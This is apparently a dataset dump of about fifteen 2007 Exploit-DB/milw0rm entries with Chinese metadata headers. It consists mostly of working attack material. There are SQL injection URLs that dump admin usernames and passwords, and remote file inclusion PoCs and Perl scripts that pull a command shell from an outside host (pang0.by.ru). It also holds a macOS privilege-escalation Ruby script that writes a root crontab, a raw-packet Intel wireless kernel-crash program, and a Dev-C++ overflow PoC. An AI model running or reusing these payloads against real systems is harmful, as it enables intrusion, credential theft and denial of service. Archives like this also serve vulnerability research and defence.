QLWD/code_shield huggingface dataset:
标题: Webfwlog 0.92 - 'debug.php' Remote File Disclosure EDB-ID: 3222 CVE: 2007-0585 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-29 漏洞利用脚本: ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+ D.Script:ftp://ftp.freebsd.org/pub/FreeBSD/ports/i386/packages-stable/All/webfwlog-0.92.tbz
+ D.Scrpit:http://webfwlog.sourceforge.net/
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+ V.Code In : /include/debug.php | php.ini -> register globals = on
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+ readfile("$conffile");
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+ 3xpl0!t
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+ /include/debug.php?config[debug]=10&conffile=config.php
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+ Author:  GolD_M <hacker_ [at] w.cn>
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+ Thanx : Tryag.Com & DwRaT.Com & Asb-May.Net & Milw0rm.com & H4cky0u.Com & Google.Com       +
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

# milw0rm.com [2007-01-29] URL: https://www.exploit-db.com/exploits/3222
标题: MyNews 4.2.2 - 'themefunc.php' Remote File Inclusion EDB-ID: 3228 CVE: 2007-0633 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-30 漏洞利用脚本: -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

MyNews 4.2.2 <=  Remote File Include Vulnerability

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Discovered by GolD_M(Mahmnood_ali)

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

URL:
http://fresh.t-systems-sfr.com/unix/src/privat2/MyNews-4.2.2.tar.gz

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

V.CODE: In : /include/themes/themefunc.php  <<<<=====>>>>      Line : 2
require($myNewsConf['path']['sys']['index'] .  '/include/libs/modules.lib.php');

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Exploit:
http://www.hedef.com/[mynews_path]/include/themes/themefunc.php?myNewsConf[path][sys][index]=http://sh3LL?

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Thanx : Tryag.Com & DwRaT.Com & Asb-May.Net & Milw0rm.com & H4cky0u.Com & Google.Com

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

# milw0rm.com [2007-01-30] URL: https://www.exploit-db.com/exploits/3228
标题: CVSTrac 2.0.0 - Defacement Denial of Service EDB-ID: 3223 CVE: 2007-0347 类型: DOS 平台: CGI 发布日期: 2007-01-29 漏洞利用脚本: ##
##  cvstrack-resurrect.pl -- CVSTrac Post-Attack Database Resurrection
##  Copyright (c) 2007 Ralf S. Engelschall <rse@engelschall.com>
##

use DBI;           # requires OpenPKG perl-dbi
use DBD::SQLite;   # requires OpenPKG perl-dbi, perl-dbi::with_dbd_sqlite=yes
use DBIx::Simple;  # requires OpenPKG perl-dbix
use Date::Format;  # requires OpenPKG perl-time

my $db_file = $ARGV[0];

my $db = DBIx::Simple->connect(
   "dbi:SQLite:dbname=$db_file", "", "",
   { RaiseError => 0, AutoCommit => 0 }
);

my $eow = q{\x00\s.,:;?!)"'};

sub fixup {
   my ($data) = @_;
   if ($$data =~ m:/[^$eow]*/[^$eow]*'[^$eow]+:s) {
       $$data =~ s:(/[^$eow]*/[^$eow]*)('[^$eow]+):$1 $2:sg;
       return 1;
   }
   return 0;
}

foreach my $rec ($db->query("SELECT name, invtime, text FROM wiki")->hashes()) {
   if (&fixup(\$rec->{"text"})) {
       printf("++ adjusting Wiki page \"%s\" as of %s\n",
           $rec->{"name"}, time2str("%Y-%m-%d %H:%M:%S", -$rec->{"invtime"}));
       $db->query("UPDATE wiki SET text = ? WHERE name = ? AND invtime = ?",
           $rec->{"text"}, $rec->{"name"}, $rec->{"invtime"});
   }
}
foreach my $rec ($db->query("SELECT tn, description, remarks FROM ticket")->hashes()) {
   if (&fixup(\$rec->{"description"}) or &fixup(\$rec->{"remarks"})) {
       printf("++ adjusting ticket #%d\n",
           $rec->{"tn"});
       $db->query("UPDATE ticket SET description = ?, remarks = ? WHERE tn = ?",
           $rec->{"description"}, $rec->{"remarks"}, $rec->{"tn"});
   }
}
foreach my $rec ($db->query("SELECT tn, chngtime, oldval, newval FROM tktchng")->hashes()) {
   if (&fixup(\$rec->{"oldval"}) or &fixup(\$rec->{"newval"})) {
       printf("++ adjusting ticket [%d] change as of %s\n",
           $rec->{"tn"}, time2str("%Y-%m-%d %H:%M:%S", $rec->{"chngtime"}));
       $db->query("UPDATE tktchng SET oldval = ?, newval = ? WHERE tn = ? AND chngtime = ?",
           $rec->{"oldval"}, $rec->{"newval"}, $rec->{"tn"}, $rec->{"chngtime"});
   }
}
foreach my $rec ($db->query("SELECT cn, message FROM chng")->hashes()) {
   if (&fixup(\$rec->{"message"})) {
       printf("++ adjusting change [%d]\n",
           $rec->{"cn"});
       $db->query("UPDATE chng SET message = ? WHERE cn = ?",
           $rec->{"message"}, $rec->{"cn"});
   }
}

$db->commit();
$db->disconnect();

# milw0rm.com [2007-01-29] URL: https://www.exploit-db.com/exploits/3223
标题: CascadianFAQ 4.1 - 'index.php' SQL Injection EDB-ID: 3227 CVE: 2007-0663 2007-0631 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-30 漏洞利用脚本: *******************************************************************************
# Title   :  CascadianFAQ <= 4.1 (index.php) Remote Blind SQL Injection Vulnerability
# Author  :  ajann
# Contact :  :(
# S.Page  :  http://eclectic-designs.com
# $$      :  Free
# Dork    :  This FAQ is powered by CascadianFAQ
# DorkEx  :  http://www.google.com.tr/search?hl=tr&q=This+FAQ+is+powered+by+CascadianFAQ+&btnG=Google%27da+Ara&meta=

*******************************************************************************

[[SQL]]]---------------------------------------------------------

http://[target]/[path]//index.php?catid=[SQL]

Example:

//index.php?catid=-1%20union%20select%20concat(char(85),char(115),char(101),char(114),char(110),char(97),char(109),char(101),char(58),username,char(32),char(124),char(124),char(32),char(80),char(97),char(115),char(115),char(119),char(111),char(114),char(100),char(58),password),2%20from%20cfaq_admin%20where%20accesslevel%20like%201/*

[[/SQL]]

"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2007-01-30] URL: https://www.exploit-db.com/exploits/3227
标题: xNews 1.3 - 'xNews.php' SQL Injection EDB-ID: 3216 CVE: 2007-0569 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-28 漏洞利用脚本: *******************************************************************************
# Title   :  xNews 1.3 (xNews.php) Remote Blind SQL Injection Vulnerability
# Author  :  ajann
# Contact :  :(
# S.Page  :  http://www.x-dev.de
# $$      :  Free

*******************************************************************************

[[SQL]]]---------------------------------------------------------

http://[target]/[path]//xNews.php?act=shownews&id=[SQL]

Example:

//xNews.php?act=shownews&id=-1/**/union/**/select/**/0,1,concat(user_name,char(32),user_pass),3,4,5,6/**/from/**/xnews_user/**/where/**/id%20like%201/*

[[/SQL]]

"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2007-01-28] URL: https://www.exploit-db.com/exploits/3216
标题: PHP Generic library & Framework - 'INCLUDE_PATH' Remote File Inclusion EDB-ID: 3217 CVE: 2007-0584 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-28 漏洞利用脚本: -----------------------------------------------

PhP Generic library & framework (include_path) Remote File Include Exploit

-----------------------------------------------

Author: xoron

xoron.biz

-----------------------------------------------

Code:

require $GLOBALS[include_path]."configmember.php";
require $GLOBALS[include_path]."inc-membreManager.php";

-----------------------------------------------

POC:

www.[target].com/[script_pat]/membres/membreManager.php?include_path=http://evilscripts?

-----------------------------------------------

download: http://sourceforge.net/project/showfiles.php?group_id=72529

-----------------------------------------------

xoron gider izi kalir, selametle.

kaybetmenin tiryakisi bir çoçuk xoron.

-----------------------------------------------

# milw0rm.com [2007-01-28] URL: https://www.exploit-db.com/exploits/3217
标题: Dev-C++ 4.9.9.2 - '.CPP' File Parsing Local Stack Overflow (PoC) EDB-ID: 3229 CVE: 2007-0643 类型: DOS 平台: WINDOWS 发布日期: 2007-01-30 漏洞利用脚本: #!/usr/bin/env python
print "--------------------------------------------------------------"
print "Dev-C++ 4.9.9.2 Stack Overflow"
print "url: http://www.bloodshed.net/"
print "author: shinnai"
print "mail: shinnai[at]autistici[dot]org"
print "site: http://shinnai.altervista.org"
print "--------------------------------------------------------------"

try:
   char = "\x41" * 80000

   out_file = open('DevCpp.cpp','wb')
   out_file.write(char)
   out_file.close()

   print "File succesfully created!\n\n"
   print "Here is a dump:"
   print "----------------------------------------------------------------"
   print "pid=0A58 tid=04C4  EXCEPTION (first-chance)"
   print "----------------------------------------------------------------"
   print "Exception C00000FD (STACK_OVERFLOW)"
   print "----------------------------------------------------------------"
   print "EAX=00000674: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??"
   print "EBX=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??"
   print "ECX=00404358: 8B 44 24 04 F7 40 04 06-00 00 00 0F 85 89 00 00"
   print "EDX=7C9137D8: 8B 4C 24 04 F7 41 04 06-00 00 00 B8 01 00 00 00"
   print "ESP=00032E1C: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00"
   print "EBP=000334A0: CC 34 03 00 7C 43 40 00-B0 34 03 00 BF 37 91 7C"
   print "ESI=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??"
   print "EDI=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??"
   print "EIP=7C8024E0: 53 56 57 8B 45 F8 89 65-E8 50 8B 45 FC C7 45 FC"
   print "              --> PUSH EBX"
   print
"----------------------------------------------------------------\n"
   print "Encreasing the number of characters will change the results of"
   print "this exploit. For example try with 1000000 of characters and see"
   print "what happen."
   print "I was unable to execute arbitrary code but I think someone
better"
   print "than me can succesfully exploit it :P\n"
except:
   print "Unable to create file!"

# milw0rm.com [2007-01-30] URL: https://www.exploit-db.com/exploits/3229
标题: Apple Mac OSX 10.4.8 (8L2127) - 'crashdump' Local Privilege Escalation EDB-ID: 3219 CVE: 2007-0467 类型: LOCAL 平台: OSX 发布日期: 2007-01-29 漏洞利用脚本: #!/usr/bin/ruby
# Copyright (c) 2007 Kevin Finisterre <kf_lists [at] digitalmunition.com>
#                    Lance M. Havok   <lmh [at] info-pull.com>
# All pwnage reserved.
#
# 1) Stop crashdump from writing to ~/Library/Logs via chmod 000 ~/Library/Logs/CrashReporter
# 2) Make symlink to /Library/Logs/CrashReporter/knownprog.crash.log
# 3) Create a program with a modified __LINKEDIT segment that influences crashreporter output 
#
# 0000320: 3800 0000 5f5f 4c49 4e4b 4544 4954 0000  8...__LINKEDIT..
# 0000330: 0000 0000 0040 0000 0010 0000 0030 0000  .....@.......0..
# 0000340: 2004 0000 0300 0000 0100 0000 0000 0000   ...............
# 0000350: 0400 0000 0e00 0000 1c00 0000 0c00 0000  ................
# 0000360: 2f75 7372 2f6c 6962 2f64 796c 6400 0000  /usr/lib/dyld...
# 0000370: 0c00 0000 3400 0000 1800 0000 68b7 9b45  ....4.......h..E
# 0000380: 0403 5800 0000 0100 0d0a 2a20 2a20 2a20  ..X.......* * * 
# 0000390: 2a20 2a20 2f74 6d70 2f78 0d0a 2e64 796c  * * /tmp/x...dyl
# 00003a0: 6962 0000 0200 0000 1800 0000 0030 0000  ib...........0..
#
# 4) Run the fake program which will crash and create /var/cron/tabs/root
# 5) Sleep and then create a legit crontab to refresh cron
 
SYMLINK_PATH  = "/Library/Logs/CrashReporter/vuln.crash.log"

PWNERCYCLE    = "ln -s /var/cron/tabs/root #{SYMLINK_PATH};"    +
                "chmod 000 ~/Library/Logs/CrashReporter/;"      +
                "crontab /tmp/fakecron;"                        +
                "chmod +x /Users/Shared/r00t; sleep 61; ./vuln;"

def escalate()
  puts "++ Fixing up a fake crontab"
  fakecron = File.new("/tmp/fakecron", "w")
  fakecron.print("* * * * * /usr/bin/id > /tmp/USERCRON\n")
  fakecron.close
  tmp_ex = File.new("/Users/Shared/r00t", "w")
  tmp_ex.print("/usr/bin/id > /tmp/CRASHREPOWNED\n")
  tmp_ex.close

  system PWNERCYCLE
end

escalate()

# milw0rm.com [2007-01-29] URL: https://www.exploit-db.com/exploits/3219
标题: Intel 2200BG 802.11 - disassociation packet Kernel Memory Corruption EDB-ID: 3224 CVE: 2007-0686 类型: DOS 平台: WINDOWS 发布日期: 2007-01-29 漏洞利用脚本: /*
Title:  Intel 2200BG 802.11 disassociation packet Kernel Memory Corruption

Description:  The intel wireless mini-pci driver provided with Intel
/*
Title:  Intel 2200BG 802.11 disassociation packet Kernel Memory Corruption

Description:  The intel wireless mini-pci driver provided with Intel
2200BG cards is vulnerable to a remote  memory corruption flaw.
Malformed disassociation packets can be used to corrupt internal kernel
structures, causing a denial of service (BSOD)

This vulnerability was found at Intel 2200 driver version 9.0.3.9
(09/12/2005).

Driver files:

w29n51.sys      9ee38ffcb4cbe5bee6c305700ddc4725
w29mlres.dll    35afeccc4092b69f62d757c4707c74e9
w29NCPA.dll     980f58b157baedc23026dd9302406bdd

Author: Breno Silva Pinto ( Sekure.org ) / bsilva[at]sekure[dot]org)


Proof Of Concept:
*/

#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <asm/types.h>
#include <linux/if.h>
#include <linux/if_packet.h>
#include <linux/if_ether.h>
#include <linux/if_arp.h>
#include <netinet/in.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>

// 28 bytes disassociation packet.

char d[] = { 0xa0, 0x00,    // 0xa0 pacote Disassociate  0xa000 FC Normal
            0x00, 0x00, // Duration ID
            0x00, 0x12, 0xf0, 0x29, 0x77, 0x00, // DST addr
            0xbb, 0xbb, 0xbb, 0xbb, 0xbb, 0xbb, // SRC addr
            0x00, 0x0f, 0x66, 0x11, 0x7b, 0xd0, // BSS id
            0x00, 0x00, // Frag. Number
            0x01, 0x00, 0x00, 0x00 }; // 2 bytes - Reason code

int main() {
       struct sockaddr_ll link;
       struct ifreq iface;
       int s;
       char packet[sizeof(d)];
       int len = 0;

       if((s=socket(PF_INET, SOCK_DGRAM, 0))<0)
               return 0;

       bzero(&iface,sizeof(iface));
       bzero(&link,sizeof(link));
       bzero(packet,sizeof(d));

       strcpy(iface.ifr_name,"ath0raw");

       if(ioctl(s,SIOCGIFHWADDR, &iface)) {
               return 0;
       }

       if(ioctl(s,SIOCGIFINDEX, &iface)) {
               return -1;
       }

       if((s=socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL)))<0) {
               return -1;
       }

       link.sll_family = AF_PACKET;
       link.sll_ifindex = iface.ifr_ifindex;

 if(bind(s,(struct sockaddr *) &link, sizeof(link))<0) {
               return -1;
       }

       memcpy(packet,d,sizeof(d));
       len = sendto(s,packet,sizeof(d), 0, NULL, 0);
       usleep(5000);
       printf("%d bytes enviados\n",len);

       close(s);

       return 0;
}

// milw0rm.com [2007-01-29] URL: https://www.exploit-db.com/exploits/3224
标题: PHPMyReports 3.0.11 - 'lib_head.php' Remote File Inclusion EDB-ID: 3212 CVE: 2007-0571 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-27 漏洞利用脚本: =================================================================
URL.S = http://www.phpmytools.org/pmr3.0.11_20050105.tar.gz     !
=================================================================
Finded by GolD_M = Mahmood_ali && Google.Com                    !
=================================================================
Greetz For : Tryag-Team & 020 :)                                !
=================================================================
/include/lib/lib_head.php                                       !
=================================================================
<?php require "$cfgPathModule/my_javascript_inc.php"; ?>        !
=================================================================
Exploit                                                         !
=================================================================
[path]/include/lib/lib_head.php?cfgPathModule=Evil.txt?         !
=================================================================

# milw0rm.com [2007-01-27] URL: https://www.exploit-db.com/exploits/3212
标题: chernobiLe Portal 1.0 - 'default.asp' SQL Injection EDB-ID: 3210 CVE: 2007-0582 类型: WEBAPPS 平台: ASP 发布日期: 2007-01-27 漏洞利用脚本: *******************************************************************************
# Title   :  chernobiLe Portal 1.0 (default.asp) Remote SQL Injection Vulnerability
# Author  :  ajann
# Contact :  :(
# $$      :  Not Free,Private


# Info    :  /*
            Turk Script Eklememen konusunda guzelce uyarmistim,ukalaca tamam demistin
            Fakat hala birsey bulmus gibi bazi sitelerde bu raporlarin basligini
            aciyorsun.Urastigin konuda bari acik birakma.Havani atmaya dvm et.
            *\

*******************************************************************************

[[SQL]]]

http://[target]/[path]//default.asp (POST Method) [SQL]

Example:

Method: One Char Brute Force Technique

First,Please Register Before:

User:[username]'/**/and/**/(substring((SELECT/**/user_code/**/FROM/**/tblAuthor/**/WHERE/**/username='targetuser'),1,1))='A'/*
Pass:[userpass]

If Login True Then First Character = A
elSe Continue...

[[/SQL]]

"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2007-01-27] URL: https://www.exploit-db.com/exploits/3210
标题: ACGVannu 1.3 - 'index2.php' Remote User Pass Change EDB-ID: 3208 CVE: 2007-0697 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-27 漏洞利用脚本: *******************************************************************************
# Title   :  ACGVannu <= 1.3 (index2.php) Remote User Pass Change Vulnerability
# Author  :  ajann
# Contact :  :(
# S.Page  :  http://acgv.free.fr
# $$      :  Free

*******************************************************************************

[[REMOTE PASS CHANGE]]]

http://[target]/[path]//index2.php [ID VARIABLE]

Example:

ID=USER ID (167)

//index2.php?id=&nom=ajann2&prenom=ajann2&pass=0002455&rubrik=modif&fo_remp=oui&id=167&mail=a&url=http://a&titre=a&descript=+a+&categorie=G%E9n%E9ral&Submit=Gonder

[[/REMOTE PASS CHANGE]]

"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2007-01-27] URL: https://www.exploit-db.com/exploits/3208
标题: EclipseBB 0.5.0 Lite - 'phpbb_root_path' Remote File Inclusion EDB-ID: 3214 CVE: 2007-0581 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-28 漏洞利用脚本: #(C) xoron
#
# [Bug name: EclipseBB 0.5.0 Lite (phpbb_root_path) Remote File Include Exploit
#
# [Script Name: EclipseBB 0.5.0 Lite
#
# [Wrong Codes:  require($phpbb_root_path . 'includes/bbcode.'.$phpEx);
#
$rfi = "functions.php?phpbb_root_path="; 
$path = "/includes/";
$shell = "http://pang0.by.ru/shall/pang057.zz?cmd=";
print "Language: English // Turkish\nPlz Select Lang:\n"; $dil = <STDIN>; chop($dil);
if($dil eq "English"){
print "(c) Mackrulz\n";
&ex;
}
elsif($dil eq "Turkish"){
print "Kodlayan xoron\n";
&ex;
}
else {print "Plz Select Languge\n"; exit;}
sub ex{
$not = "Victim is Not Vunl.\n" and $not_cmd = "Victim is Vunl but Not doing Exec.\n"
and $vic = "Victim Addres? with start http:// :" and $thx = "Greetz " and $diz = "Dictionary?:" and $komt = "Command?:"
if $dil eq "English";
$not = "Adreste RFI acigi Yok\n" and $not_cmd = "Adresde Ac.k Var Fakat Kod Calismiyor\n"
and $vic = "Ornek Adres http:// ile baslayan:" and $diz = "Dizin?: " and $thx = "Tesekkurler " and $komt = "Command?:"
if $dil eq "Turkish";
print "$vic";
$victim = <STDIN>;
chop($victim);
print "$diz";
$dizn = <STDIN>;
chop($dizn);
$dizin = $dizn;
$dizin = "/" if !$dizn;
print "$komt";
$cmd = <STDIN>;
chop($cmd);
$cmmd = $cmd;
$cmmd = "dir" if !$cmd;
$site = $victim;
$site = "http://$victim" if !($victim =~ /http/);
$acacaz = "$site$dizin$rfi$shell$cmmd";
print "(c) xoron - xoron.biz\n$thx: pang0, chaos\n";
sleep 3;
system("start $acacaz");
}

# milw0rm.com [2007-01-28] URL: https://www.exploit-db.com/exploits/3214
标题: nsGalPHP - '/includes/config.inc.php?racineTBS' Remote File Inclusion EDB-ID: 3205 CVE: 2007-0573 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-27 漏洞利用脚本: _________________________________
          ________|                                 |________
          \       |              S.W.A.T.           |       /
           \      |                                 |      /
           /      |_________________________________|      \
          /___________)                         (___________\
    ------------------------------------------------------------------------------------------------------------------------
    Script:nsGalPHP
    Affected Version:unknown
    Downlaoad&Victim:http://www.easy-script.com/compt.php?id=3521
    ------------------------------------------------------------------------------------------------------------------------
    Author:S.W.A.T.
    ------------------------------------------------------------------------------------------------------------------------
    Bug in (includes/config.inc.php)
    Vul Code;
    include_once($racineTBS.'includes/tbs_class.php');
    include_once($racineTBS.'includes/fonctions.inc.php');
    require($racineTBS.'lang/'.$config['langueDefaut'].'.php');
    ------------------------------------------------------------------------------------------------------------------------
    POC:
    http://[target]/[path]/includes/config.inc.php?racineTBS=[PHPSHELL]
    ------------------------------------------------------------------------------------------------------------------------
    Thx:str0ke-koray-Timq-r0ut3r-nuffsaid-All My Friends
    Special Greetz:All Member Of XmorsTEAM
    ------------------------------------------------------------------------------------------------------------------------

# milw0rm.com [2007-01-27] URL: https://www.exploit-db.com/exploits/3205
标题: Foro Domus 2.10 - 'phpbb_root_path' Remote File Inclusion EDB-ID: 3215 CVE: 2007-0580 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-28 漏洞利用脚本: # (C) xoron
#
# [Name: Foro Domus v2.10 (phpbb_root_path) Remote File Include Exploit]
#
# [Author: xoron]
# [Exploit coded by xoron]
#
# [Download: http://sourceforge.net/project/showfiles.php?group_id=8920]
#
# [xoron.biz]
#
# [Thanx: str0ke, kacper, k1tk4t, SHiKA, can bjorn]
#
# [Tesekkurler: chaos, pang0]
#
# 
#
$rfi = "menu.php?sesion_idioma="; 
$path = "/";
$shell = "http://pang0.by.ru/shall/pang057.zz?cmd=";
print "Language: English // Turkish\nPlz Select Lang:\n"; $dil = <STDIN>; chop($dil);
if($dil eq "English"){
print "(c) xoron\n";
&ex;
}
elsif($dil eq "Turkish"){
print "Kodlayan xoron\n";
&ex;
}
else {print "Plz Select Languge\n"; exit;}
sub ex{
$not = "Victim is Not Vunl.\n" and $not_cmd = "Victim is Vunl but Not doing Exec.\n"
and $vic = "Victim Addres? with start http:// :" and $thx = "Greetz " and $diz = "Dictionary?:" and $komt = "Command?:"
if $dil eq "English";
$not = "Adreste RFI acigi Yok\n" and $not_cmd = "Adresde Ac.k Var Fakat Kod Calismiyor\n"
and $vic = "Ornek Adres http:// ile baslayan:" and $diz = "Dizin?: " and $thx = "Tesekkurler " and $komt = "Command?:"
if $dil eq "Turkish";
print "$vic";
$victim = <STDIN>;
chop($victim);
print "$diz";
$dizn = <STDIN>;
chop($dizn);
$dizin = $dizn;
$dizin = "/" if !$dizn;
print "$komt";
$cmd = <STDIN>;
chop($cmd);
$cmmd = $cmd;
$cmmd = "dir" if !$cmd;
$site = $victim;
$site = "http://$victim" if !($victim =~ /http/);
$acacaz = "$site$dizin$rfi$shell$cmmd";
print "(c) xoron - xoron.biz\n$thx: pang0, chaos\n";
sleep 3;
system("start $acacaz");
}

# milw0rm.com [2007-01-28] URL: https://www.exploit-db.com/exploits/3215